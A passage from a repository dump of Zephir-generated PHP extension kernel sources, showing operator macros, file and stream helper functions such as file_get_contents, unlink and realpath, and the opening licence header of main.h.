#define ZEPHIR_LT_LONG(op1, op2) ((Z_TYPE_P(op1) == IS_LONG && Z_LVAL_P(op1) < op2) || zephir_less_long(op1, op2 TSRMLS_CC)) 69 | #define ZEPHIR_LT_DOUBLE(op1, op2) ((Z_TYPE_P(op1) == IS_DOUBLE && Z_DVAL_P(op1) < op2) || zephir_less_double(op1, op2 TSRMLS_CC)) 70 | #define ZEPHIR_GT(op1, op2) zephir_greater(op1, op2 TSRMLS_CC) 71 | #define ZEPHIR_GT_LONG(op1, op2) ((Z_TYPE_P(op1) == IS_LONG && Z_LVAL_P(op1) > op2) || zephir_greater_long(op1, op2 TSRMLS_CC)) 72 | #define ZEPHIR_GT_DOUBLE(op1, op2) ((Z_TYPE_P(op1) == IS_DOUBLE && Z_DVAL_P(op1) > op2) || zephir_greater_double(op1, op2 TSRMLS_CC)) 73 | 74 | #define ZEPHIR_STRING_OFFSET(op1, index) ((index >= 0 && index < Z_STRLEN_P(op1)) ? Z_STRVAL_P(op1)[index] : '\0') 75 | 76 | #define zephir_increment(var) fast_increment_function(var) 77 | #define zephir_decrement(var) fast_decrement_function(var) 78 | 79 | void zephir_make_printable_zval(zval *expr, zval *expr_copy, int *use_copy); 80 | 81 | #define zephir_add_function(result, left, right) zephir_add_function_ex(result, left, right TSRMLS_CC) 82 | #define zephir_sub_function(result, left, right) fast_sub_function(result, left, right TSRMLS_CC) 83 | 84 | #if PHP_VERSION_ID < 50600 85 | void zephir_pow_function_ex(zval *return_value, zval *zbase, zval *zexp TSRMLS_DC); 86 | #define zephir_pow_function(result, op1, op2) zephir_pow_function_ex(result, op1, op2 TSRMLS_CC) 87 | #else 88 | #define zephir_pow_function(result, op1, op2) pow_function(result, op1, op2 TSRMLS_CC) 89 | #endif 90 | 91 | /** Operator functions */ 92 | int zephir_add_function_ex(zval *result, zval *op1, zval *op2 TSRMLS_DC); 93 | int zephir_and_function(zval *result, zval *left, zval *right); 94 | void zephir_negate(zval *z TSRMLS_DC); 95 | 96 | /** Bitwise functions */ 97 | int zephir_bitwise_and_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 98 | int zephir_bitwise_or_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 99 | int zephir_bitwise_xor_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 100 | int zephir_shift_left_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 101 | int zephir_shift_right_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 102 | 103 | void zephir_concat_self(zval **left, zval *right TSRMLS_DC); 104 | void zephir_concat_self_str(zval **left, const char *right, int right_length TSRMLS_DC); 105 | void zephir_concat_self_long(zval **left, const long right TSRMLS_DC); 106 | void zephir_concat_self_char(zval **left, unsigned char right TSRMLS_DC); 107 | 108 | /** Strict comparing */ 109 | int zephir_compare_strict_string(zval *op1, const char *op2, int op2_length); 110 | int zephir_compare_strict_long(zval *op1, long op2 TSRMLS_DC); 111 | int zephir_compare_strict_double(zval *op1, double op2 TSRMLS_DC); 112 | int zephir_compare_strict_bool(zval *op1, zend_bool op2 TSRMLS_DC); 113 | 114 | void zephir_cast(zval *result, zval *var, zend_uint type); 115 | void zephir_convert_to_object(zval *op); 116 | long zephir_get_intval_ex(const zval *op); 117 | long zephir_get_charval_ex(const zval *op); 118 | double zephir_get_doubleval_ex(const zval *op); 119 | zend_bool zephir_get_boolval_ex(zval *op); 120 | 121 | int zephir_is_numeric_ex(const zval *op); 122 | 123 | int zephir_is_equal(zval *op1, zval *op2 TSRMLS_DC); 124 | int zephir_is_identical(zval *op1, zval *op2 TSRMLS_DC); 125 | 126 | int zephir_less(zval *op1, zval *op2 TSRMLS_DC); 127 | int zephir_less_long(zval *op1, long op2 TSRMLS_DC); 128 | int zephir_less_double(zval *op1, double op2 TSRMLS_DC); 129 | 130 | int zephir_greater(zval *op1, zval *op2 TSRMLS_DC); 131 | int zephir_greater_long(zval *op1, long op2 TSRMLS_DC); 132 | int zephir_greater_double(zval *op1, double op2 TSRMLS_DC); 133 | 134 | int zephir_less_equal(zval *op1, zval *op2 TSRMLS_DC); 135 | int zephir_less_equal_long(zval *op1, long op2 TSRMLS_DC); 136 | 137 | int zephir_greater_equal(zval *op1, zval *op2 TSRMLS_DC); 138 | int zephir_greater_equal_long(zval *op1, long op2 TSRMLS_DC); 139 | 140 | double zephir_safe_div_long_long(long op1, long op2 TSRMLS_DC); 141 | double zephir_safe_div_long_double(long op1, double op2 TSRMLS_DC); 142 | double zephir_safe_div_double_long(double op1, long op2 TSRMLS_DC); 143 | double zephir_safe_div_double_double(double op1, double op2 TSRMLS_DC); 144 | double zephir_safe_div_zval_long(zval *op1, long op2 TSRMLS_DC); 145 | double zephir_safe_div_zval_double(zval *op1, double op2 TSRMLS_DC); 146 | double zephir_safe_div_long_zval(long op1, zval *op2 TSRMLS_DC); 147 | double zephir_safe_div_double_zval(double op1, zval *op2 TSRMLS_DC); 148 | 149 | long zephir_safe_mod_long_long(long op1, long op2 TSRMLS_DC); 150 | long zephir_safe_mod_long_double(long op1, double op2 TSRMLS_DC); 151 | long zephir_safe_mod_double_long(double op1, long op2 TSRMLS_DC); 152 | long zephir_safe_mod_double_double(double op1, double op2 TSRMLS_DC); 153 | long zephir_safe_mod_zval_long(zval *op1, long op2 TSRMLS_DC); 154 | long zephir_safe_mod_zval_double(zval *op1, double op2 TSRMLS_DC); 155 | long zephir_safe_mod_long_zval(long op1, zval *op2 TSRMLS_DC); 156 | long zephir_safe_mod_double_zval(double op1, zval *op2 TSRMLS_DC); 157 | 158 | #define zephir_get_numberval(z) (Z_TYPE_P(z) == IS_LONG ? Z_LVAL_P(z) : zephir_get_doubleval(z)) 159 | #define zephir_get_intval(z) (Z_TYPE_P(z) == IS_LONG ? Z_LVAL_P(z) : zephir_get_intval_ex(z)) 160 | #define zephir_get_doubleval(z) (Z_TYPE_P(z) == IS_DOUBLE ? Z_DVAL_P(z) : zephir_get_doubleval_ex(z)) 161 | #define zephir_get_boolval(z) (Z_TYPE_P(z) == IS_BOOL ? Z_BVAL_P(z) : zephir_get_boolval_ex(z)) 162 | #define zephir_get_charval(z) (Z_TYPE_P(z) == IS_LONG ? Z_LVAL_P(z) : zephir_get_charval_ex(z)) 163 | 164 | #ifndef PHP_WIN32 165 | 166 | #define ZEPHIR_ADD_ASSIGN(z, v) \ 167 | { \ 168 | zval tmp; \ 169 | ZEPHIR_SEPARATE(z); \ 170 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_LONG) { \ 171 | Z_LVAL_P(z) += Z_LVAL_P(v); \ 172 | } else { \ 173 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_DOUBLE) { \ 174 | Z_LVAL_P(z) += Z_DVAL_P(v); \ 175 | } else { \ 176 | add_function(&tmp, z, v TSRMLS_CC); \ 177 | if (Z_TYPE(tmp) == IS_LONG) { \ 178 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 179 | } else { \ 180 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 181 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 182 | } \ 183 | } \ 184 | } \ 185 | } \ 186 | } 187 | 188 | #define ZEPHIR_SUB_ASSIGN(z, v) \ 189 | { \ 190 | zval tmp; \ 191 | ZEPHIR_SEPARATE(z); \ 192 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_LONG) { \ 193 | Z_LVAL_P(z) -= Z_LVAL_P(v); \ 194 | } else { \ 195 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_DOUBLE) { \ 196 | Z_LVAL_P(z) -= Z_DVAL_P(v); \ 197 | } else { \ 198 | sub_function(&tmp, z, v TSRMLS_CC); \ 199 | if (Z_TYPE(tmp) == IS_LONG) { \ 200 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 201 | } else { \ 202 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 203 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 204 | } \ 205 | } \ 206 | } \ 207 | } \ 208 | } 209 | 210 | #define ZEPHIR_MUL_ASSIGN(z, v) \ 211 | { \ 212 | zval tmp; \ 213 | ZEPHIR_SEPARATE(z); \ 214 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_LONG) { \ 215 | Z_LVAL_P(z) *= Z_LVAL_P(v); \ 216 | } else { \ 217 | if (Z_TYPE_P(z) == IS_LONG && Z_TYPE_P(v) == IS_DOUBLE) { \ 218 | Z_LVAL_P(z) *= Z_DVAL_P(v); \ 219 | } else { \ 220 | mul_function(&tmp, z, v TSRMLS_CC); \ 221 | if (Z_TYPE(tmp) == IS_LONG) { \ 222 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 223 | } else { \ 224 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 225 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 226 | } \ 227 | } \ 228 | } \ 229 | } \ 230 | } 231 | 232 | #else 233 | 234 | #define ZEPHIR_ADD_ASSIGN(z, v) \ 235 | { \ 236 | zval tmp; \ 237 | ZEPHIR_SEPARATE(z); \ 238 | add_function(&tmp, z, v TSRMLS_CC); \ 239 | if (Z_TYPE(tmp) == IS_LONG) { \ 240 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 241 | } else { \ 242 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 243 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 244 | } \ 245 | } \ 246 | } 247 | 248 | #define ZEPHIR_SUB_ASSIGN(z, v) \ 249 | { \ 250 | zval tmp; \ 251 | ZEPHIR_SEPARATE(z); \ 252 | sub_function(&tmp, z, v TSRMLS_CC); \ 253 | if (Z_TYPE(tmp) == IS_LONG) { \ 254 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 255 | } else { \ 256 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 257 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 258 | } \ 259 | } \ 260 | } 261 | 262 | #define ZEPHIR_MUL_ASSIGN(z, v) \ 263 | { \ 264 | zval tmp; \ 265 | ZEPHIR_SEPARATE(z); \ 266 | mul_function(&tmp, z, v TSRMLS_CC); \ 267 | if (Z_TYPE(tmp) == IS_LONG) { \ 268 | Z_LVAL_P(z) = Z_LVAL(tmp); \ 269 | } else { \ 270 | if (Z_TYPE(tmp) == IS_DOUBLE) { \ 271 | Z_DVAL_P(z) = Z_DVAL(tmp); \ 272 | } \ 273 | } \ 274 | } 275 | 276 | #endif 277 | 278 | #define zephir_get_strval(left, right) \ 279 | { \ 280 | int use_copy_right; \ 281 | zval right_tmp; \ 282 | if (Z_TYPE_P(right) == IS_STRING) { \ 283 | ZEPHIR_CPY_WRT(left, right); \ 284 | } else { \ 285 | INIT_ZVAL(right_tmp); \ 286 | zephir_make_printable_zval(right, &right_tmp, &use_copy_right); \ 287 | if (use_copy_right) { \ 288 | ZEPHIR_INIT_NVAR(left); \ 289 | ZVAL_STRINGL(left, Z_STRVAL_P(&right_tmp), Z_STRLEN_P(&right_tmp), 0); \ 290 | } \ 291 | } \ 292 | } 293 | 294 | #define zephir_get_arrval(returnValue, passValue) \ 295 | { \ 296 | if (Z_TYPE_P(passValue) == IS_ARRAY) { \ 297 | ZEPHIR_CPY_WRT(returnValue, passValue); \ 298 | } else { \ 299 | ZEPHIR_INIT_NVAR(returnValue); \ 300 | array_init_size(returnValue, 0); \ 301 | } \ 302 | } 303 | 304 | #define zephir_is_numeric(value) (Z_TYPE_P(value) == IS_LONG || Z_TYPE_P(value) == IS_DOUBLE || zephir_is_numeric_ex(value)) 305 | 306 | #define zephir_is_true(value) \ 307 | (Z_TYPE_P(value) == IS_NULL ? 0 : \ 308 | (Z_TYPE_P(value) == IS_BOOL ? Z_BVAL_P(value) : \ 309 | (Z_TYPE_P(value) == IS_LONG ? (Z_LVAL_P(value) ? 1 : 0) : \ 310 | zend_is_true(value) \ 311 | ) \ 312 | ) \ 313 | ) 314 | 315 | #endif 316 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/file.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | #include "php_main.h" 28 | #include "main/php_streams.h" 29 | #include "ext/standard/file.h" 30 | #include "ext/standard/php_smart_str.h" 31 | #include "ext/standard/php_filestat.h" 32 | #include "ext/standard/php_string.h" 33 | 34 | #include "kernel/main.h" 35 | #include "kernel/memory.h" 36 | #include "kernel/concat.h" 37 | #include "kernel/operators.h" 38 | #include "kernel/file.h" 39 | 40 | #include "Zend/zend_exceptions.h" 41 | #include "Zend/zend_interfaces.h" 42 | 43 | #define PHP_STREAM_TO_ZVAL(stream, arg) \ 44 | php_stream_from_zval_no_verify(stream, arg); \ 45 | if (stream == NULL) { \ 46 | if (return_value) { \ 47 | RETURN_FALSE; \ 48 | } else { \ 49 | return; \ 50 | } \ 51 | } 52 | 53 | /** 54 | * Checks if a file exist 55 | * 56 | */ 57 | int zephir_file_exists(zval *filename TSRMLS_DC){ 58 | 59 | zval return_value; 60 | 61 | if (Z_TYPE_P(filename) != IS_STRING) { 62 | return FAILURE; 63 | } 64 | 65 | php_stat(Z_STRVAL_P(filename), (php_stat_len) Z_STRLEN_P(filename), FS_EXISTS, &return_value TSRMLS_CC); 66 | 67 | if (ZEPHIR_IS_FALSE((&return_value))) { 68 | return FAILURE; 69 | } 70 | 71 | if (ZEPHIR_IS_EMPTY((&return_value))) { 72 | return FAILURE; 73 | } 74 | 75 | return SUCCESS; 76 | } 77 | 78 | /** 79 | * Compares two file paths returning 1 if the first mtime is greater or equal than the second 80 | */ 81 | int zephir_compare_mtime(zval *filename1, zval *filename2 TSRMLS_DC){ 82 | 83 | php_stream_statbuf statbuffer1, statbuffer2; 84 | 85 | if (Z_TYPE_P(filename1) != IS_STRING || Z_TYPE_P(filename2) != IS_STRING) { 86 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for compare_mtime()"); 87 | return 0; 88 | } 89 | 90 | if (php_stream_stat_path_ex(Z_STRVAL_P(filename1), 0, &statbuffer1, NULL)) { 91 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "mstat failed for %s", Z_STRVAL_P(filename1)); 92 | return 0; 93 | } 94 | 95 | if (php_stream_stat_path_ex(Z_STRVAL_P(filename2), 0, &statbuffer2, NULL)) { 96 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "mstat failed for %s", Z_STRVAL_P(filename2)); 97 | return 0; 98 | } 99 | 100 | return (int) (statbuffer1.sb.st_mtime >= statbuffer2.sb.st_mtime); 101 | } 102 | 103 | /** 104 | * Executes the filemtime function without function lookup 105 | */ 106 | void zephir_fast_filemtime(zval *return_value, zval *filename TSRMLS_DC){ 107 | 108 | if (Z_TYPE_P(filename) != IS_STRING) { 109 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for fast_filemtime()"); 110 | return; 111 | } 112 | 113 | php_stat(Z_STRVAL_P(filename), (php_stat_len) Z_STRLEN_P(filename), FS_MTIME, return_value TSRMLS_CC); 114 | } 115 | 116 | /** 117 | * Adds a trailing directory separator if the path doesn't have it 118 | */ 119 | void zephir_fix_path(zval **return_value, zval *path, zval *directory_separator TSRMLS_DC) { 120 | 121 | if (Z_TYPE_P(path) != IS_STRING || Z_TYPE_P(directory_separator) != IS_STRING) { 122 | return; 123 | } 124 | 125 | if (Z_STRLEN_P(path) > 0 && Z_STRLEN_P(directory_separator) > 0) { 126 | if (Z_STRVAL_P(path)[Z_STRLEN_P(path) - 1] != Z_STRVAL_P(directory_separator)[0]) { 127 | ZEPHIR_CONCAT_VV(*return_value, path, directory_separator); 128 | return; 129 | } 130 | } 131 | 132 | zval_ptr_dtor(return_value); 133 | *return_value = path; 134 | Z_ADDREF_P(path); 135 | } 136 | 137 | /** 138 | * Replaces directory separators by the virtual separator 139 | */ 140 | void zephir_prepare_virtual_path(zval *return_value, zval *path, zval *virtual_separator TSRMLS_DC) { 141 | 142 | unsigned int i; 143 | unsigned char ch; 144 | smart_str virtual_str = {0}; 145 | 146 | if (Z_TYPE_P(path) != IS_STRING || Z_TYPE_P(virtual_separator) != IS_STRING) { 147 | if (Z_TYPE_P(path) == IS_STRING) { 148 | RETURN_STRINGL(Z_STRVAL_P(path), Z_STRLEN_P(path), 1); 149 | } else { 150 | RETURN_EMPTY_STRING(); 151 | } 152 | return; 153 | } 154 | 155 | for (i = 0; i < Z_STRLEN_P(path); i++) { 156 | ch = Z_STRVAL_P(path)[i]; 157 | if (ch == '\0') { 158 | break; 159 | } 160 | if (ch == '/' || ch == '\\' || ch == ':') { 161 | smart_str_appendl(&virtual_str, Z_STRVAL_P(virtual_separator), Z_STRLEN_P(virtual_separator)); 162 | } 163 | else { 164 | smart_str_appendc(&virtual_str, tolower(ch)); 165 | } 166 | } 167 | 168 | smart_str_0(&virtual_str); 169 | 170 | if (virtual_str.c) { 171 | RETURN_STRINGL(virtual_str.c, virtual_str.len, 0); 172 | } else { 173 | RETURN_EMPTY_STRING(); 174 | } 175 | } 176 | 177 | /** 178 | * Generates a unique id for a path 179 | */ 180 | void zephir_unique_path_key(zval *return_value, zval *path TSRMLS_DC) { 181 | 182 | unsigned long h; 183 | char *strKey; 184 | 185 | if (Z_TYPE_P(path) != IS_STRING) { 186 | return; 187 | } 188 | 189 | h = zend_hash_func(Z_STRVAL_P(path), Z_STRLEN_P(path) + 1); 190 | 191 | strKey = emalloc(24); 192 | sprintf(strKey, "v%lu", h); 193 | 194 | RETURN_STRING(strKey, 0); 195 | } 196 | 197 | /** 198 | * Returns the realpath of a zval filename 199 | * 200 | */ 201 | void zephir_realpath(zval *return_value, zval *filename TSRMLS_DC) { 202 | 203 | char resolved_path_buff[MAXPATHLEN]; 204 | 205 | if (Z_TYPE_P(filename) != IS_STRING) { 206 | RETURN_FALSE; 207 | } 208 | 209 | if (strlen(Z_STRVAL_P(filename)) != Z_STRLEN_P(filename)) { 210 | RETURN_FALSE; 211 | } 212 | 213 | if (VCWD_REALPATH(Z_STRVAL_P(filename), resolved_path_buff)) { 214 | RETURN_STRING(resolved_path_buff, 1); 215 | } 216 | 217 | RETURN_FALSE; 218 | } 219 | 220 | /** 221 | * Removes the prefix from a class name, removes malicious characters, replace namespace separator by directory separator 222 | */ 223 | void zephir_possible_autoload_filepath(zval *return_value, zval *prefix, zval *class_name, zval *virtual_separator, zval *separator TSRMLS_DC) { 224 | 225 | unsigned int i, length; 226 | unsigned char ch; 227 | smart_str virtual_str = {0}; 228 | 229 | if (Z_TYPE_P(prefix) != IS_STRING || Z_TYPE_P(class_name) != IS_STRING || Z_TYPE_P(virtual_separator) != IS_STRING) { 230 | RETURN_FALSE; 231 | } 232 | 233 | length = Z_STRLEN_P(prefix); 234 | if (!length) { 235 | RETURN_FALSE; 236 | } 237 | 238 | if (length > Z_STRLEN_P(class_name)) { 239 | RETURN_FALSE; 240 | } 241 | 242 | if (separator) { 243 | if (Z_STRVAL_P(prefix)[Z_STRLEN_P(prefix) - 1] == Z_STRVAL_P(separator)[0]) { 244 | length--; 245 | } 246 | } 247 | 248 | for (i = length + 1; i < Z_STRLEN_P(class_name); i++) { 249 | 250 | ch = Z_STRVAL_P(class_name)[i]; 251 | 252 | /** 253 | * Anticipated end of string 254 | */ 255 | if (ch == '\0') { 256 | break; 257 | } 258 | 259 | /** 260 | * Replace namespace separator by directory separator 261 | */ 262 | if (ch == '\\') { 263 | smart_str_appendl(&virtual_str, Z_STRVAL_P(virtual_separator), Z_STRLEN_P(virtual_separator)); 264 | continue; 265 | } 266 | 267 | /** 268 | * Replace separator 269 | */ 270 | if (separator) { 271 | if (ch == Z_STRVAL_P(separator)[0]) { 272 | smart_str_appendl(&virtual_str, Z_STRVAL_P(virtual_separator), Z_STRLEN_P(virtual_separator)); 273 | continue; 274 | } 275 | } 276 | 277 | /** 278 | * Basic alphanumeric characters 279 | */ 280 | if ((ch == '_') || (ch >= '0' && ch <= '9') || (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { 281 | smart_str_appendc(&virtual_str, ch); 282 | continue; 283 | } 284 | 285 | /** 286 | * Multibyte characters? 287 | */ 288 | if (ch > 127) { 289 | smart_str_appendc(&virtual_str, ch); 290 | continue; 291 | } 292 | 293 | } 294 | 295 | smart_str_0(&virtual_str); 296 | 297 | if (virtual_str.len) { 298 | RETURN_STRINGL(virtual_str.c, virtual_str.len, 0); 299 | } else { 300 | smart_str_free(&virtual_str); 301 | RETURN_FALSE; 302 | } 303 | 304 | } 305 | 306 | void zephir_file_get_contents(zval *return_value, zval *filename TSRMLS_DC) 307 | { 308 | 309 | char *contents; 310 | php_stream *stream; 311 | int len; 312 | long maxlen = PHP_STREAM_COPY_ALL; 313 | zval *zcontext = NULL; 314 | php_stream_context *context = NULL; 315 | 316 | if (Z_TYPE_P(filename) != IS_STRING) { 317 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_file_get_contents()"); 318 | RETVAL_FALSE; 319 | return; 320 | } 321 | 322 | context = php_stream_context_from_zval(zcontext, 0); 323 | 324 | stream = php_stream_open_wrapper_ex(Z_STRVAL_P(filename), "rb", 0 | REPORT_ERRORS, NULL, context); 325 | if (!stream) { 326 | RETURN_FALSE; 327 | } 328 | 329 | if ((len = php_stream_copy_to_mem(stream, &contents, maxlen, 0)) > 0) { 330 | RETVAL_STRINGL(contents, len, 0); 331 | } else { 332 | if (len == 0) { 333 | RETVAL_EMPTY_STRING(); 334 | } else { 335 | RETVAL_FALSE; 336 | } 337 | } 338 | 339 | php_stream_close(stream); 340 | } 341 | 342 | /** 343 | * Writes a zval to a stream 344 | */ 345 | void zephir_file_put_contents(zval *return_value, zval *filename, zval *data TSRMLS_DC) 346 | { 347 | php_stream *stream; 348 | int numbytes = 0, use_copy = 0; 349 | zval *zcontext = NULL; 350 | zval copy; 351 | php_stream_context *context = NULL; 352 | 353 | if (Z_TYPE_P(filename) != IS_STRING) { 354 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_file_put_contents()"); 355 | if (return_value) { 356 | RETVAL_FALSE; 357 | } 358 | return; 359 | } 360 | 361 | context = php_stream_context_from_zval(zcontext, 0 & PHP_FILE_NO_DEFAULT_CONTEXT); 362 | 363 | stream = php_stream_open_wrapper_ex(Z_STRVAL_P(filename), "wb", ((0 & PHP_FILE_USE_INCLUDE_PATH) ? USE_PATH : 0) | REPORT_ERRORS, NULL, context); 364 | if (stream == NULL) { 365 | if (return_value) { 366 | RETURN_FALSE; 367 | } 368 | return; 369 | } 370 | 371 | switch (Z_TYPE_P(data)) { 372 | 373 | case IS_NULL: 374 | case IS_LONG: 375 | case IS_DOUBLE: 376 | case IS_BOOL: 377 | case IS_CONSTANT: 378 | zend_make_printable_zval(data, ©, &use_copy); 379 | if (use_copy) { 380 | data = © 381 | } 382 | /* no break */ 383 | 384 | case IS_STRING: 385 | if (Z_STRLEN_P(data)) { 386 | numbytes = php_stream_write(stream, Z_STRVAL_P(data), Z_STRLEN_P(data)); 387 | if (numbytes != Z_STRLEN_P(data)) { 388 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Only %d of %d bytes written, possibly out of free disk space", numbytes, Z_STRLEN_P(data)); 389 | numbytes = -1; 390 | } 391 | } 392 | break; 393 | default: 394 | numbytes = -1; 395 | break; 396 | } 397 | 398 | php_stream_close(stream); 399 | 400 | if (use_copy) { 401 | zval_dtor(data); 402 | } 403 | 404 | if (numbytes < 0) { 405 | if (return_value) { 406 | RETURN_FALSE; 407 | } else { 408 | return; 409 | } 410 | } 411 | 412 | if (return_value) { 413 | RETURN_LONG(numbytes); 414 | } 415 | return; 416 | } 417 | 418 | void zephir_is_dir(zval *return_value, zval *path TSRMLS_DC) 419 | { 420 | if (EXPECTED(Z_TYPE_P(path) == IS_STRING)) { 421 | php_stat(Z_STRVAL_P(path), (php_stat_len)(Z_STRLEN_P(path)), FS_IS_DIR, return_value TSRMLS_CC); 422 | } else { 423 | ZVAL_FALSE(return_value); 424 | } 425 | } 426 | 427 | void zephir_unlink(zval *return_value, zval *path TSRMLS_DC) 428 | { 429 | if (EXPECTED(Z_TYPE_P(path) == IS_STRING)) { 430 | php_stream_context *context; 431 | php_stream_wrapper *wrapper; 432 | zval *zctx = NULL; 433 | 434 | if (UNEXPECTED(strlen(Z_STRVAL_P(path)) != Z_STRLEN_P(path))) { 435 | ZVAL_FALSE(return_value); 436 | return; 437 | } 438 | 439 | context = php_stream_context_from_zval(zctx, 0); 440 | wrapper = php_stream_locate_url_wrapper(Z_STRVAL_P(path), NULL, 0 TSRMLS_CC); 441 | 442 | if (!wrapper || !wrapper->wops || !wrapper->wops->unlink) { 443 | ZVAL_FALSE(return_value); 444 | return; 445 | } 446 | 447 | ZVAL_BOOL(return_value, wrapper->wops->unlink(wrapper, Z_STRVAL_P(path), REPORT_ERRORS, context TSRMLS_CC)); 448 | return; 449 | } 450 | 451 | ZVAL_FALSE(return_value); 452 | return; 453 | } 454 | 455 | void zephir_filemtime(zval *return_value, zval *path TSRMLS_DC) 456 | { 457 | if (EXPECTED(Z_TYPE_P(path) == IS_STRING)) { 458 | php_stat(Z_STRVAL_P(path), (php_stat_len)(Z_STRLEN_P(path)), FS_MTIME, return_value TSRMLS_CC); 459 | } else { 460 | ZVAL_FALSE(return_value); 461 | } 462 | } 463 | 464 | void zephir_basename(zval *return_value, zval *path TSRMLS_DC) 465 | { 466 | if (EXPECTED(Z_TYPE_P(path) == IS_STRING)) { 467 | char *ret; 468 | size_t ret_len; 469 | 470 | php_basename(Z_STRVAL_P(path), Z_STRLEN_P(path), NULL, 0, &ret, &ret_len TSRMLS_CC); 471 | ZVAL_STRINGL(return_value, ret, (int)ret_len, 0); 472 | } else { 473 | ZVAL_FALSE(return_value); 474 | } 475 | } 476 | 477 | void zephir_fwrite(zval *return_value, zval *stream_zval, zval *data TSRMLS_DC) 478 | { 479 | 480 | int num_bytes; 481 | php_stream *stream; 482 | 483 | if (Z_TYPE_P(stream_zval) != IS_RESOURCE) { 484 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_fwrite()"); 485 | if (return_value) { 486 | RETVAL_FALSE; 487 | } else { 488 | return; 489 | } 490 | } 491 | 492 | if (Z_TYPE_P(data) != IS_STRING) { 493 | /* @todo convert data to string */ 494 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_fwrite()"); 495 | if (return_value) { 496 | RETVAL_FALSE; 497 | } else { 498 | return; 499 | } 500 | } 501 | 502 | if (!Z_STRLEN_P(data)) { 503 | if (return_value) { 504 | RETURN_LONG(0); 505 | } else { 506 | return; 507 | } 508 | } 509 | 510 | PHP_STREAM_TO_ZVAL(stream, &stream_zval); 511 | 512 | num_bytes = php_stream_write(stream, Z_STRVAL_P(data), Z_STRLEN_P(data)); 513 | if (return_value) { 514 | RETURN_LONG(num_bytes); 515 | } 516 | } 517 | 518 | int zephir_feof(zval *stream_zval TSRMLS_DC) 519 | { 520 | 521 | php_stream *stream; 522 | 523 | if (Z_TYPE_P(stream_zval) != IS_RESOURCE) { 524 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_feof()"); 525 | return 0; 526 | } 527 | 528 | php_stream_from_zval_no_verify(stream, &stream_zval); 529 | if (stream == NULL) { 530 | return 0; 531 | } 532 | 533 | return php_stream_eof(stream); 534 | } 535 | 536 | int zephir_fclose(zval *stream_zval TSRMLS_DC) 537 | { 538 | php_stream *stream; 539 | 540 | if (Z_TYPE_P(stream_zval) != IS_RESOURCE) { 541 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid arguments supplied for zephir_fwrite()"); 542 | return 0; 543 | } 544 | 545 | php_stream_from_zval_no_verify(stream, &stream_zval); 546 | if (stream == NULL) { 547 | return 0; 548 | } 549 | 550 | if ((stream->flags & PHP_STREAM_FLAG_NO_FCLOSE) != 0) { 551 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "%d is not a valid stream resource", stream->rsrc_id); 552 | return 0; 553 | } 554 | 555 | if (!stream->is_persistent) { 556 | php_stream_close(stream); 557 | } else { 558 | php_stream_pclose(stream); 559 | } 560 | 561 | return 1; 562 | } 563 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/main.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 